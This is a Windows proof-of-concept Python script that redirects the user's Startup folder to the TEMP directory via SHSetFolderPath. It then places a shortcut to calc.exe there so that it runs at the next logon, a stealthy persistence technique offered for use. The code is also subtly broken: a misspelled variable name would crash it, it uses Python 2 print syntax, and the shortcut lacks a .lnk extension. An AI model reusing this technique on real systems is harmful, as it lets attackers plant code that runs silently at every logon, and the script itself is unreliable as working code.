PoC for Start Menu Redirection

StartMenuRedirection.py

import os
import sys

import pythoncom
from win32com.shell import shell, shellcon


def create_shortcut(dest_path, target_path):
    """
    """
    shortcut = pythoncom.CoCreateInstance(shell.CLSID_ShellLink,
                                          None,
                                          pythoncom.CLSCTX_INPROC_SERVER,
                                          shell.IID_IShellLink)

    if not os.path.exists(target_path):
        raise ValueError('Cannot create the shortcut because the specified '
                         'target path {!r} does not exist.'.format(target_path))
        
    shortcut.SetPath(target_path)

    persist_file = shortcut.QueryInterface(pythoncom.IID_IPersistFile)
    persist_file.Save(dest_path, 0) 

def redirect_directory(src_const, dest_path):
    """
    """
    if not os.path.exists(dest_path):
        os.makedirs(dest_path)
    
    shell.SHSetFolderPath(src_const, dest_path, None)

def main():
    """
    """
    new_startup_dir = os.environ['TEMP']
    shortcut_path = os.path.join(new_statrup_dir, 'shady_shortcut')
    calc_path = os.path.join(os.environ['SystemRoot'], 'System32', 'calc.exe')
    
    redirect_directory(shellcon.CSIDL_STARTUP, new_startup_dir)
    create_shortcut(shortcut_path, calc_path)

    print 'Log out, log back in, and enjoy!'

if __name__ == '__main__':
    main()